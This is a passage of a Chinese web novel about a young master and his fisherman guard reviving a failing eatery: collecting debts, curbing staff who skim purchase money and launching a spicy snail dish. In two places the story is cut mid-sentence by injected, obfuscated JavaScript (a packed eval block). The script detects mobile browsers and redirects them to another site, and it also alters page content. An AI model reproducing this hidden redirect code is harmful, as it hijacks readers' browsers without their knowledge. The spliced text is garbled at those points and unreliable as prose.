正巧钱老爷路过,问了一嘴,温沅刚想回话,那管家赶忙回身胡诌了句:“老爷,是两个来问路的人。” “钱老爷——” “孙家食肆是吧?”钱管家连忙打断温沅,“我可记住你们了,往后我钱府办宴席,绝不会找你家!” 他从袖子里掏出银子一把甩在地上,鄙夷地啐了一口,想关门却还是关不上:“钱给你们了,你们还想做甚!” 余浪看也不看地上的钱,沉声道:“钱没给到我家少爷手里。” 温沅挑眉看了他一眼。 钱管家:“……” 眼看着钱老爷往这边走来,钱管家慌慌张张掏出银子给温沅,“快走快走!” 银子到手,温沅冲余浪抬了抬下巴,余浪收回脚,大门“嘭”地关上。 钱府要债还算顺利,接下来几家,要么人不在,要么打发叫花子似的给一点儿了事,要么听闻来意遂后往地上一坐,嘴歪眼斜放声哭嚎,“要钱没有要命一条!你们打死我吧!” 这些人耍无赖咬死不还钱,一点法子都没有,真出手打一顿,怕是还得赔药钱。 要债真难…… 温沅数了数手里要回的一两三钱碎银,啧了一声。 “这是……最后一家?” 听到余浪话语间的迟疑,温沅抬头看去,愣住了。 前几家院子虽小,可到底是一家子住,然而这里却是五六户一起挤在一间旧院子里。 竹制的晾衣架七零八落地扎在地上,衣裳叠着衣裳排在枯竹上,飘荡的衣摆打满了补丁坑坑洼洼,孩童们举着大叶子从衣裳间穿过,猛地冲到二人跟前。 孩童睁着大眼睛看向两个陌生的哥哥,好奇道:“你们是谁呀?” 温沅见他身上衣裳虽是缝缝补补但十分干净,“我们来找杨木东师傅,你们可认得他?” “认识!”孩童举着大叶子指向一间老屋,“那就是杨爷爷家。” 屋子虚掩着门,内里黑漆漆一片,泛着苦的药味萦绕周围,天崩地裂的咳嗽声从里头传出。 温沅和余浪对视一眼,走了过去。 余浪敲了敲门,不一会儿一位年纪三十左右的汉子端着破碗从里面出来,汉子见了二人,顿步问道:“你们是?” “我们是孙家食肆的人。”温沅说:“来找杨木东杨师傅。” 杨光一愣:“他是我爹,你们找他何事?” “前些日子杨师傅在孙家食肆欠下二钱酒钱……”温沅听着里头传出的咳嗽声,说得有些犹豫。 杨光涨红了脸,关上门引二人到另一处,踌躇道:“对不住……您二位能否宽限我一些时间?我、我……” 他抓着破碗说得坎坷,这种话一听就是推脱,十分难为情,“我爹生了病,家里积蓄都花完了……” 断断续续的咳嗽声传来,温沅沉默了一会儿,心下一叹,“待你手头宽裕再说罢。” “多谢、多谢二位!”杨光不停弯腰作揖,见他们要走,连忙说:“二位若是不嫌弃,我家里种了不少菜,我给二位摘点,实在是对不住。” 温沅刚想拒绝,杨光已转身往后院走去,拦都拦不住,无奈只得跟过去。 穿过后院门,竟是一大片菜地,菜地比前面院子还大,绿油油水灵灵的青菜在阳光下显得十分清新。 杨光二话不说拿起一旁的大菜篮子去摘菜,没一会儿就堆成了小菜山。 温沅看着那小菜山头皮发麻:“不用这么多……” 杨光说:“这菜是自家种的,可好吃了,您千万别客气。” “往常这菜都是往城里大酒楼送的,就是这几个月酒楼换了送菜农,眼瞅着就得烂在地里,您能吃就吃,不能吃扔了便是。” 温沅闻言眼前一亮,食肆不正好缺菜么? “您的菜什么价?合适的话,不如往温家食肆送。” 杨光有些懵地抬起头,手足无措地报了价:“您真要的话,白萝卜两文一斤,马兰头三文一斤,野山椒八文,还有别的我都给您少点。” 温沅对比了方才街市上听到的价钱,这可算是意外之喜了,“明日你到城东七里街的温家食肆送菜,就送……就送……” 完蛋,他压根没记住食肆里有什么青菜的菜品,印象最深还是春笋,因为上回的菜农说这时节的春笋最好吃,贵了两文。 “春笋、马兰头、韭菜、荠菜…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224311|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”余浪一一报出。 温沅意外地看了他一眼,凑到他身边小声说:“你竟然记得住。” 余浪偏过头,低声笑道:“陈大立出门采买前正好念了一嘴。” “原来如此。”温沅点点头,那这就不算他作为少东家不尽责了。 “二钱银子就拿菜钱抵,先送三日。”温沅和杨光说。 “您尽管放心!”杨光回道。 从老院出来后,余浪手边多了一篮子菜,温沅打开账簿算了算最后到手的债款。 兜兜转转,到头来十五两的债款,只要回一两三钱,杯水车薪。 温沅翻开账簿,密密麻麻的陈年旧账,压不到那些人,只压着他。 “少爷心善,自然不好要债。”余浪卖鱼多年,深知其中艰辛,有时候熟客并不意味着生意稳定,有的人仗着那几分熟稔,恬不知耻地多要几分利。 得寸进尺是常有的事,若是不给,只怕闹得脸面无光,反目成仇。 借债这事儿,就得做好无法收回的准备。 这些道理温沅如何不知?对着那些泼皮无赖,尚且能毒打一顿泄愤,可对着有难处的人,心软在所难免。 几番纠结,化作一声轻叹。 “罢了。”温沅抽出扇子轻摇,往前走,“再想想法子。” “少爷。”余□□住他。 温沅偏过头:“怎么?” 余浪抬手指向前方:“那有家赌坊。” “嗯?”温沅愣住,“你……让我去赌?” “当然……”余浪也愣了,“不是。” 日照当空,东塘里街逍遥赌坊。 温沅抬头望了一眼牌匾,跟着余浪走入东塘里街的另一条窄巷里,“在这儿可以等到?” “可以。”余浪很肯定,“有赌瘾的人,即便不赌,也会忍不住去赌坊看。” 话音刚落,巷子传来一段口哨声,此时天边烈日,一抹黑影摇摇晃晃出现在巷子口。 影子从头到身子到脚,直到影子的主人出现,余浪一个拉拽,地上长影消失不见。 烈日照不进窄巷,一片昏暗。 高大的阴影落下,李大富四肢发软刚想嚎,就被人捂住了嘴巴,他“呜呜呜”嚷起来。 显然,劫持他的人并不想听他求饶,他撞胆睁开眼缝,看清了跟前的人是谁。 余浪利落地把人捆住,抽出李大富的腰带,塞到他嘴里,二话不说就开始掏袖子。 温沅被他这劫匪行径震得有些懵,他愣愣地上前想帮忙,被余浪挡下。 “我来。”余浪低声说:“莫脏了少爷的手。” “……”温沅看了眼李大富脏兮兮的衣裳,缩回了手。 “唔!唔!唔!”李大富睁大双眼,拼命挣扎。 余浪从他袖子掏出钱袋,拉开一看,里头竟有五两银子。 他踹了李大富一脚,从里头拿出一两二钱给温沅。 “这些钱,怕是瞒着他的妻儿偷拿出来的,不如给他妻儿送回去。”温沅说。 余浪顿了顿,“好,少爷在这儿等我。” 他一把抓着李大富的领口,将人拖回六巷李家,钱袋丢到李大富胸口,拍了拍那扇满是刀痕的木门。 脚步声传来,余浪闪身离去。 只闻巷子传来一声暴呵:“李大富你个天杀的!老娘辛辛苦苦攒下一点银子,你竟敢偷!我打死你个畜生!” “老娘不跟你过了!今儿个就回娘家!” 回到小巷口,温小少爷蹲在小菜山旁边,捻了片菜叶子玩,余浪走过去提起菜篮,随口道:“那家的小哥儿应当不会被卖。” 温沅一怔,仰起头:“什么?” “他娘说不过了,要回娘家。”余浪说。 温沅愣了好一会儿,笑笑:“挺好。” 他丢掉菜叶子刚要起身,一股酸麻意从脚后跟传到天灵盖,他一把抓住余浪的手臂,“嘶——脚麻了……” 余浪猛地绷紧身体,又缓缓放松下来,他余光瞥见小少爷指尖重重抓着他手臂龇牙咧嘴的模样,喉头一滚,鼻间哼出一声轻笑。 温沅全然不觉,待到缓过了劲儿,才意识到自己一直攥着余浪的手臂,硬梆梆的,抓得手指生疼。 他松开手,偷偷甩了甩手指,“走。” “嗯。”余浪将手臂背到身后,快步跟了上去。 11. 食肆整治(十一) 回去路上,温沅特意让余浪指了条远路。 他来今州城这么久,一直在食肆和码头之间来回逃窜,别说路上的风景没闲心看,就算是遇到美食也没敢停下,现在正好逛一逛。 路过丁家食肆的时候,才发现这家生意是真的好。 丁家食肆共两层,说是食肆,跟个小酒楼差不多,光是在门口招呼的伙计就有两个,旁边还站着一打手,手里提着东西的客人一进去,伙计们热情地接了手,丝毫不用客人们费心。 温沅多看了几眼,发现那打手怒瞪了他们一眼,准确来说,是瞪着余浪。 “你跟丁家食肆有什么恩怨?”温沅问,“这么久了,都还记着呢。” 余浪没看那人,偏头看着温沅:“上个月他们想压价,我没应,前不久结账时说账上没钱,押后结,后来我来问了几次都如是说,我便砸了店。” “厉害啊。”温沅看了眼丁家食肆,确实有不少修缮过的痕迹,看来闹得挺大。 修缮倒是有钱,结账就说没钱,显然不是钱的问题。 “大掌柜有家亲戚也想供鱼。”余浪解释道。 “那给你结钱,让你别再供货就是了,为何要使手段?”温沅问。 “逼我这一遭是为了让丁老板知晓不是掌柜的不让我供货,而是我砸了店,主动毁约。”余浪说。 温沅搞不懂:“图什么?” “我一走,大掌柜就能安排自家亲戚供货,吃钱便是理所当然。”余浪说。 所以就能解释为何上回丁志德说余浪是个大麻烦,兴许是余浪砸了店后丁家大掌柜在丁志德面前说了什么。 “少爷,采买最好吃钱。”余浪说。 温沅愣了愣,他倒是没想过这事儿,光是食肆那一堆事儿就够人烦的了。 带着一篮子小菜山,眼瞅着烈日当空照,菜叶开始发蔫,温沅没继续逛,和余浪一块儿回食肆。 回到食肆,饭点已经过去,这段时间是客人最少的时候,隔壁面馆一个客人都没有,老板靠着门框打瞌睡,老板夫郎和伙计坐在门口摘豆角。 没一会儿,那瞌睡的老板发出挺大的鼾声,老板夫郎顿时拧起眉,拿起一条豆角就甩过去。 老板没被打醒挠挠脸继续睡,鼾声未停,老板夫郎把手里的豆角摘成两段,一起塞进了老板的鼻孔里。 “……”温沅决定这个月都不要吃豆角。 他转过头和余浪说,“把菜给吕三娘时,一定叮嘱她洗干净些。” 余浪应了一声。 周七豆和郭巴子见二人回来,打了个招呼便继续擦洗桌子。 饭点后的桌椅大多油腻,趁着午后客人少洗一洗,晚食来吃饭的客人坐着就舒心。 食肆挣了些钱,几文一把的无患子买得起,因此用的时候也没怎么省,怎么干净怎么用。 “陈掌柜呢?”温沅看了一圈,不见陈贵礼的人影。 “掌柜的在柜台后边。”周七豆说。 温沅未见其人先闻其声,鼾声高低起伏,颇有节奏。 不等温沅把人叫醒,余浪对着摇椅的脚蹬用力一踩,睡得正香的陈掌柜猛地往前扑去,险些摔倒。 “谁?”陈贵礼气得脖子发紫,猛地转身。 “陈掌柜睡得挺香?”温沅斜靠在柜台似笑非笑地看着他。 余浪不紧不慢地收回脚,只见摇椅脚蹬“啪”地一声碎裂成两截。 陈贵礼头皮一阵发麻,高涨的气焰顿时烧得不上不下:“少、少东家……” “陈掌柜,这是食肆,不是客栈,你若要睡觉便出去睡。”温沅说。 “……是是。”陈贵礼连忙点头,“一不小心睡过了头,这帮伙计也不帮着叫叫……” 温沅听到他推卸责任,顿时火起:“你身为掌柜,这点规矩都不知?” 陈贵礼活这么些年,第一次被个十几岁的娃子当面训斥,一张老脸红一阵白一阵,烧得慌。 他感觉到周七豆和郭巴子的目光时不时往他身上扫,往常都是他训斥别人,哪有别人训斥他的份儿? 要不是为了那笔钱,何故忍到现在? 但都忍到现在了,只能再忍忍,他不能因小失大。 “少东家说得对,我一定注意。”陈贵礼说。 温沅看了他一眼,偏过头吩咐余浪:“把摇椅撤了。” 余浪单手拎起,“摇椅不要了?” “怎么?”温沅问。 “下工后,我可以拿去换钱。” “坏了也能换?” “能。” 温沅眼前一亮,“换!” 陈贵礼心里怄得不行,又不敢表露,还得强笑着附和,面容一度扭曲,寻了个干活儿的借口便走开了。 其实午后没客人不忙的时候,温沅并不介意伙计们歇一歇,干活儿多累啊忙里忙外的,他自己都想撂挑子不干了。 但食肆才刚有点好转的迹象,现在撂挑子就等着被张屠户等人和伙计们追杀吧。 到时余浪都未必救得了他……不对,他还欠了余浪不少鱼钱呢,指不定余浪也要一起砍他。 得挣钱,挣大钱! 这时吕三娘从后院进来,招呼所有人吃饭。 食肆里没客人,但也得留一人在大堂看着,陈贵礼自知理亏主动留下。 郭巴子把布巾一丢,蹦着去吃饭,周七豆把最后一点擦完才过去。 吃过饭,温沅招呼陈大立来算今早采买的账,陈大立如往常一般报数,温沅记。 “少东家,就是这些了。”陈大立说。 “一文不剩了?”温沅原本记了账就行,想起之前余浪说的话,仔细看了看账簿,“白萝卜四文一斤,春笋七文一斤,野山椒十二文一斤……你是到哪处菜肉行买的菜?” 陈大立一愣:“城东就这一处菜肉行,自然是在那买的。” “所以你一百文买了三十斤菜?”温沅问他。 “是、是啊……”陈大立瞟了温沅一眼,下意识缩了下脖子。 “今早我从菜肉行路过时,听了一嘴叫价。”温沅说。 “那肯定是他们的菜不好,才会这般便宜!我买好一些的菜,自然贵一些。”陈大立说。 “哦?”温沅看着他,“你如何得知我听到的叫价比你的要便宜?” “我……”陈大立噎住,连忙转头看向一旁的陈贵礼,今早调料加买菜剩下的三十文,他叔父可是吃了二十文的! 陈贵礼刚被训过,哪敢在这个时候帮陈大立说话,只得当没看到。 陈大立暗自啐了一口,恨得咬牙切齿。 温沅再算了一次账,估摸着陈大立吃钱没敢大吃,只是怎么处理这件事,他一时没头绪。 若是辞退陈大立,食肆没了大厨怕是开不下去,且像丁家食肆的大掌柜都想着吃钱,想来这样的事难以杜绝,可不小惩大诫,来日怕是要变本加厉。 他想了想:“扣除你二人今日的工钱,以后的采买交给吕三娘。” 陈贵礼震惊:“少东家,为何我也扣?” “你身为掌柜合该查账,为何不扣?”温沅想到他今日所为就大为光火,“不仅账不查还偷闲,且扣你三日工钱以作警醒,若有下回,决不轻饶。” 陈贵礼恼恨地闭上了嘴,这陈大立一点屁事都办不好,吃个几十文都能被发现,没用的东西! 这少东家更是抠搜,哪家掌柜的不吃钱?不吃钱干什么掌柜? 他都干掌柜了,歇个晌又有什么错! 陈大立恼恨地看了陈贵礼一眼,转身回后厨去了,碰到吕三娘,他阴阳怪气地哼了一声。 吕三娘不知其意,直到周七豆把她喊去大堂,才得知采买的事给了她。 “买得多便让店家送,不必自己受累。”温沅以前买东西都是让人送上门,少有自己拎的时候,买得多店家也乐意送,混个脸熟。 “知道了少东家。”吕三娘点头。 日渐西斜,食肆的客人渐渐多了起来,甚至比前几日送小鱼还多。 一家只卖鱼的食肆能有这么多客人实属不易,只是这样的景象只是一时,想要长久留客,光是菜肴做得好还不够,还得做出新意。 然而新意难做,不是一两日就能成的,得想想别的法子。 余浪一听,便说他有法子,且过两日就能带来。 温沅顿时有了期待。 过了两日,天微亮,温沅打着哈欠从房里出来,看到余浪背着两个大鱼篓,腰间挎着一个稍小的鱼篓,好奇道:“拎了什么?” “新捞的螺蛳。”余浪拿了个木盆,装上水后,把螺蛳倒了进去,“少爷喜欢吃螺蛳么?” 爆辣香螺蛳,谁能不爱? 光听这名儿,温沅彷佛闻到了紫苏香,这味儿着实令人念念不忘。 吕三娘听到声音出来一看,螺蛳铺满了整个木盆的底,“好多啊,能焖一大锅呢。” 她比任何人都高兴,有新菜品意味着食肆挣钱,“我去拿个大点的木盆,让螺蛳吐沙。”说完去杂物房找大木盆。 温沅走到余浪身旁,“这一篓什么价啊?” “这一篓没多少,不收钱。”余浪蹲在井边 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“少爷,当初我是答应给你当护院,不是食肆。”余浪说。 温沅不由地歪了歪脑袋,回想了一下,确实是。 上道啊这人。 光盯着食肆有什么用,跟着老板才有饭吃呢。 螺蛳自然吐沙得两日,要是放盐,就能加快,温沅等不了螺蛳慢慢吐沙,让吕三娘多撒些盐,今日势必做出一锅新螺蛳。 螺蛳想要做得入味脆嫩有嚼劲,火候时间最重要,焖久了螺肉就成渣,极其难吃。 光炒螺蛳没意思,得加点配料,焖鸡焖鸭都可以,做法不同,然而温沅最爱的,还是焖鸭脚。 俗称螺蛳鸭脚煲。 鸭脚肉不易烂,啃起来有嚼劲,皮肉全是焖螺蛳的汁儿,能把人香得找不着北。 “但是少东家,”陈大立说:“卖鸡鸭的老板不愿给食肆供货,买不着这么多鸭脚……” “去别的摊子也不能买?”温沅问。 “他们都是认识的,知道食肆欠了债。”陈大立说,“再者说,小摊上散卖的农户,也凑不到这么多鸭脚啊……” “……”温沅头疼,看来这个螺蛳鸭脚煲还得先还钱才能做,“那就做爆香螺蛳,今早的菜农杨光给食肆送的菜里,可有假蒟叶?” “有的有的,还有不少辣子。”陈大立迟疑:“假蒟叶和螺蛳一块儿焖?” “对。”这是温沅吃过最特别的一道焖螺蛳,和别的焖螺蛳口味都不一样,仅一次便记住了这个味道。 “可是……”陈大立显然对温沅的提议不赞同,然而温沅没给他拒绝的机会。 “做。”温沅一锤定音。 爆炒螺蛳是陈大立真正的拿手菜,这道菜,他一回就做成了。 假蒟叶香气浓郁,使得螺肉更加鲜香,香味直冲大堂,郭巴子直接冲进来喊:“少东家,有食客问是不是做了螺蛳,想点!” 所有人望向温沅,等着温沅下决定。 温沅问陈大立:“这一锅做了多少?” “三盘。”陈大立有些紧张,怕少东家还让他继续做,不给上菜。 “客人点了多少?”温沅转头问郭巴子。 “客人说有多少上多少。”郭巴子连忙说。 “全上。”温沅说,“剩下的螺蛳全部做完,定会有客人再点。” 他吩咐完,又补充了一句:“做完后,留两盘。” 吕三娘愣了愣:“为何要留两盘?” “大家干活儿辛苦,这两盘留着大家吃。”温沅笑道。 所有人都愣了。 郭巴子直接原地蹦起,一头扎回大堂,他决定今天暂时不偷懒,兴许少东家看他勤快,给他多嗦几个,那真是爽啊! 周七豆不知郭巴子怎么突然如此兴奋,竟然主动干活儿,真是少见……后来才知原来是少东家特意给他们留了好吃的。 他不禁想,少东家人可真好,上回的炙烤小鱼和新菜品,只要上了,都会让他们尝到,丝毫不会亏待他们。 哪像陈贵礼做掌柜时,午食晚食好几日不见点荤腥,食肆进了货卖不完的,就自己拿回家,绝不会给他们留下一点儿肉渣。 周七豆平日干活儿就勤快,今日更是积极,食肆打烊后,一张张桌子被他擦得锃亮。 “七豆,来嗦螺了!”吕三娘喊。 周七豆回道:“来了!” 12. 食肆整治(十二) 卖了好几日的炙烤小鱼迎来平淡期,每日入账稳定在三百文左右,街坊邻里也都习惯了温家食肆传来的焦香。 熟客们自觉排着队,等着厨娘烤小鱼,然而今日厨娘站在烤炉前迟迟未动,他们等不及,纷纷问“作何不烤”、“家里孩子等着吃呢”、“快些吧”。 催得急了,队伍开始变形。 这时,一小少爷手持折扇从食肆里走出来,指挥一高大汉子将一口铁锅摆到了食肆大门外,大锅底下炭火缓缓煨着,葵扇一扇,满满的锅气传来,紧接着是带着辣味的香。 “这啥啊?怎的这么香?” “这味好像是螺蛳?闻着就辣鼻子。” “好像还有假蒟叶?这香味闻一次就不会忘,这跟螺蛳一起焖,能好吃么?” …… 锅盖一掀,果然是爆香螺蛳。 这时节的螺蛳最受欢迎,别家摊子食肆酒楼早早就上了这道菜,不管是晚食还是夜宵,无论做了多少,都能卖完。 每一家螺蛳的做法都不同,焖的炒的煮的,大差不差,然而温家食肆这道假蒟叶焖螺蛳却是罕见。 闻着十分独特,一丝腥味都没有,只有浓浓的鲜香。 熟客们在犹豫,全都等着那卖螺蛳的汉子吆喝几句,可这人竟是一句话不说,只顾着盛螺狮。 郭巴子见状,悄么声地和周七豆说:“这样冷着脸不招呼,怎可能卖得出去?” 周七豆缩了一下脖子,他每次见余浪都不敢直接仰头看,这么久了,他也不知余浪到底长什么模样,只知这人高猛缄默,瞧着就吓人。 这还是第一回瞧清楚余浪的脸,没成想这人竟然如此俊朗,不过俊朗归俊朗,冷着脸时也的确吓人…… 这要是卖不出去怎么办?周七豆有点急,小声说:“要不……你吆喝一下?” “我才不去,少东家又没喊我去,再说了,里边活儿这么多呢,干活儿去。”郭巴子说完拉着周七豆回了食肆。 温沅听了他们的话,转头看向余浪。 余浪已经把一份螺蛳盛好,摆到众人面前,他往常卖鱼不爱大声吆喝,一筐活蹦乱跳的鱼摆在面前就是最好的招牌。 此时他将竹签放到碗里,只说了一句“可试吃”,便不再多言。螺蛳好不好吃,说再多都没用,不如亲自尝一尝。 说到试吃,那可就没人假客气了,一眨眼,那碗螺蛳只剩汤汁,周围吸螺声滔滔不绝,个个人撅着嘴腮帮子一收一放,螺肉轻松入口。 钱老爷和钱管家路过温家食肆时,听这动静,不由地止步。 钱老爷平时对吃的没多馋,然而闻到扑鼻香再看这群人各个脸上盛满惊喜,顿时起了好奇心,转头和钱管家说:“去瞧瞧卖什么呢,这么多人。” 钱管家也好奇呢,走近一看,那高大汉子怎么这么眼熟?转头一看旁边那小少爷更是难忘。 这不就是前阵子上府里追债的那两个人么? 上回才说了绝不吃他们家东西,若是现在被他二人认出岂不丢脸? 钱管家看了一眼就回头和钱老爷说:“老爷,没甚么稀奇的,就是卖螺蛳,丁家食肆也有卖,比这家好吃多了,老爷想吃,我便去买些回来。” “螺蛳啊?”钱老爷闻言确实有些失望,看这么多人,还以为是什么稀罕物,“罢了,去丁家——” 话没说完,前边有人高声说了一句:“你家这螺蛳味道怎么跟别家不一样?可香太多了!” “还有螺肉,太有嚼劲儿了!” “是啊!我以前吃螺蛳,怎么嗦都嗦不出来,腮帮子都嗦疼了,你家的螺蛳吸一下就出来了!都用不上竹签!” “给我来再一盘,能不能打包啊?” 钱管家十分不屑地撇开眼,再好吃,能有丁家食肆的好吃?那可是当日捞的!一群没见过世面的人,没钱也只能吃点街边食肆卖的小螺蛳解解馋。 “去买一份来尝尝。”钱老爷听馋了。 钱管家一愣:“老爷,您说买什么?” “螺蛳。”钱老爷说。 钱管家万般不愿,奈何钱老爷铁了心要吃,他只得硬着头皮去买,排到他时,那高大的汉子显然认出了他,坐一旁悠哉摇扇的小少爷同样看了过来。 “来一份螺蛳。”钱管家偏过头,假装他们认错了。 余浪盛出螺蛳,淡声道:“记得将钱给到我家少爷手上。” 温沅笑眯眯地伸出钱袋,钱管家快速掏出铜钱丢进去,拿过螺蛳什么话都没说转身就走。 “好吃再来。”温沅笑道。 钱管家走得更快了。 钱老爷顾不上什么仪态,站在街边捻起一个螺蛳放到嘴边,鲜香的螺蛳汁顺着手指滑落,他赶紧举起手吸掉,汤汁微辣,他弹了弹舌头,才去吸螺。 果然如方才那人说的,一下就吸了出来,螺肉十分鲜美,若是再配壶好酒,能把舌头吞了。 “走,进店点两盘。”钱老爷说。 “老、老爷?”钱管家瞪着双眼,以为自己听错了。 钱老爷摆了摆手,率先进了食肆,钱管家顶着那小少爷含笑的目光,绷着脸跟了进去。 陈贵礼见到钱老爷和钱管家进来,略微诧异,钱老爷可是丁家食肆的常客,订席吃菜都爱选丁家,不知今日怎么到温家食肆来了。 “郭巴子,给二位看茶!”他迎上去,笑道,“二位可是贵客啊,不如到雅间去?大堂吵嚷得很。” “不用。”钱老爷只是一时兴起想嗦螺,“随意找个桌就成。” 陈贵礼把人带到东五雅座,这处安静些,他站到柜台后,时不时往钱老爷处瞟两眼,只见钱老爷嗦螺嗦得那叫一个欢,两盘螺蛳,一瞬间不剩多少。 没过多久,他听到钱老爷把郭巴子招呼过去,细细一听,竟是要在温家食肆点菜吃饭。 钱老爷这般阔绰的人,什么山珍海味没吃过?没想到会被温家食肆的菜品吸引。 直到现在,陈贵礼不得不承认,那嘴刁的娇贵小少爷的确有点能耐,若是放任小少爷这么经营下去,食肆岂不是真要翻身? 不成,不能让食肆翻身。 翻了身,食肆就真的卖不成了。 别有风味的田螺让温家食肆回到了第一日卖炙烤小鱼的热闹,好卖程度出乎温沅意料,他原想着这就是道添头小菜,没成想还能把食肆里最难卖的酒都顺带着卖了不少。 也就是碰上吃螺蛳的好时节,俗话说“三月螺,赛肥鹅”,过了这档口,就得等到中秋前后,因此好这一口的客人都紧着这段时间吃。 温沅算了一下账,这日光螺蛳入账就将近四百文,可见其多么受欢迎。 要是加入鸭脚,一定更受客人们青睐。 还是得还债啊,等还清了债务,才能让债主们恢复供货。 不急不急,再有个把月一定能还完。 他合上账簿,伸了个懒腰:“债一清就能过上逍遥日子了……” 话音刚落,余光瞥见余浪从后院走来,笑着招了招手:“明日你能从别处收多少螺蛳过来?” 余浪走过去:“约莫三十斤螺蛳。” 温沅点了点头:“明日我让郭巴子和陈大立到码 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温沅抬头看了他一眼,忽地说:“签了卖身契书,你就不是护院,而是我的仆人,想好了?” 余浪看着他,点头:“行。” 温沅见他应得干脆,反倒顿了一下,“你可知卖身为奴是什么意思?” “知道。”余浪说:“往后,我就是少爷的财产。” “……挺有觉悟。”温沅没想到他能一本正经应下,挑起眉:“你若是不识字,我给你念念,了解清楚再按手印。” 余浪低声笑了一下:“我不识字,辛苦少爷念一念。” 温沅斜乜他一眼,拿起契书,煞有其事地念起来,嘴巴说的和纸上写的两模两样。 余浪垂眼看着契书,耳朵听着少爷胡诌,十分认真。 小少爷的声音带着少年人的清朗与柔和,宛若河溪里鱼儿戏水,清脆悦耳。 一纸契书不长,温沅念完后,将契书摆在他面前,点了点按了手印的地方,“按这儿。” 余浪毫不犹豫地按下,按完后,他多问了一句:“如此,我便成了少爷的仆人?” “后悔了?”温沅将按了手印的契书折好放入袖中,泰然道:“契书已签,后悔也无用,倘若你做得好,就给你写放良文书。” “少爷果真心善。”余浪看着他。 温沅勾唇笑了笑。 13. 食肆整治(十三) 余浪没让郭巴子和陈大立到码头帮忙,他没说大话,这点重量他的确没放在眼里,不过今日他不是一人来的。 此时天还未全亮,清晨雾气未散,码头来了一艘大船,扛大包的汉子早早在边上候着,只等管事一声吆喝就上船卸货。 码头边上摆满了卖早饭的小摊,雾气与烟火气缭绕。 余浪绑好缆绳,招呼余泽平和余一洪把鱼篓搬下船,他们在这边卸货,那头的大船也同样在卸,一阵儿鱼腥传来,让码头边上卖早饭的小摊都止不住往后挪了挪。 “那是海货吧?”余泽平说。 余一洪嗅了两下,一巴掌拍到船沿上:“肯定是,这是通洲海的味儿!” 余泽平瞥了他一眼:“你还知道通州海是什么味呢?” “我可是去过一回的,怎么会不知道?”余一洪不服气,转过头问余浪:“是吧浪哥?” 余浪没接话,直起身看了一眼,年年都有海货没什么稀奇的,倒是不远处有三个汉子甚是眼熟,仔细一瞧,就是上回在码头遇到的三人,丁志德身边的两个打手。 “浪哥,你看什么?”余泽平顺着余浪的目光看过去,“那是上名村的捕鱼汉子吧?” 余浪一顿,转头问他:“这三人叫什么?” “上名村陈家三兄弟。”余泽平说:“他们不和咱们在一处捕鱼,平时也遇不上,浪哥,你问他们做甚?” “先前遇到了。”余浪说。 “这三人没什么真本事,捕鱼只会用药草晕,一条江都被他们霍霍了。”余泽平说。 余浪点了点头,如此说来,这三人就是丁家大掌柜给丁家食肆推荐的供鱼人了。怪不得上回来码头守着,估摸着是想堵他,也不知为何没动手。 卸下最后几个装着螺蛳的鱼篓,余浪和余泽平余一洪一人背了两个大鱼篓腰间挎着小鱼篓,快步往温家食肆去。 到了温家食肆后门,来开门的竟是温沅。 只见温沅靠着门框用折扇遮着打了个哈欠,然后迷迷瞪瞪地仰着头问他:“啊……这么早?” 余浪盯着他眼角溢出的那一滴晶莹剔透的泪珠,往旁边小挪了一步,挡住后面两人的目光,低声道:“少爷,困的话,回房睡一觉?” 温沅摆了摆扇子,生无可恋道:“昨夜不知哪家来了偷子,叮呤哐啷闹了一宿,现下睡不着了。” “少爷没事吧?”余浪看了一眼温沅,又转头看向门锁,没有损坏的痕迹。 “我能有什么事?食肆这么多人呢……”温沅说完偏开身拉开门,正巧看到余浪身后还跟着两人。 余浪又高又壮,他一人堵在门口,愣是把后面两人遮得严严实实。 “这二位是?”温沅眨了眨眼,揉去眼角的泪珠。 余浪这才侧过身,指了指身后两人,“同村的弟弟,螺蛳便是向他们收的。” “我叫余泽平,他叫余一洪。”余泽平拱手,余一洪跟着拱拱手:“温少爷好。” “二位好,辛苦了。”温沅点了点头,瞧见他们还背着鱼篓,赶紧让他们进来。 余泽平和余一洪一块儿把大鱼和小鱼分开倒入两个水缸,剩下三十斤的螺蛳倒入木盆吐沙。 “温少爷,您看看这螺蛳可行。”余泽平说。 温沅过去看了一眼,这一批螺狮挺有活力,时不时从螺壳里探个头出来,且个头均等,螺壳圆滑光泽。 他不懂什么螺蛳好,但他相信余浪带来的人:“瞧着不错,你们这螺蛳什么价?” 余泽平一喜,道:“平日散卖五文六文都有,温少爷要得多,便算您四文一斤。” 三十斤便是一百二十文,按照昨日螺蛳的收益,这个价不高。 “行。”温沅点头笑道:“这个月,每日送三十斤螺蛳到食肆,可行?” 余泽平惊喜地看了余浪一眼,回道:“没问题!” “绝对没问题!我们村属我摸螺最厉害!”余一洪拍了拍胸脯。 此事定下,温沅和余泽平签下买螺契书,契书从明日开始算,十天结算一次,签完契书,温沅数出一百二十文螺蛳钱给余泽平。 余泽平和余一洪拿着钱欢天喜地地卖鱼去了。 两人一走,温沅马不停蹄地招呼伙计们给螺蛳换盆放盐吐沙换水,螺蛳固然好吃,处理起来可不是易事,吐完沙还得剪螺尾。 食肆只做午食和晚食,午食约莫是过了巳时开始进客人,必须在巳时之前把菜备好才不至于手忙脚乱。 后厨忙着备菜,大堂忙着擦桌子扫地,温沅数了五百文用作今日结账的散钱,数完一想水牌还没写。 水牌相当于食肆的菜品招牌,木架子上放一块板子,板子上不光要写字,还得画图,以便客人不识字,路过的行人光看水牌便知食肆主要吃什么或是有没有出新菜品。 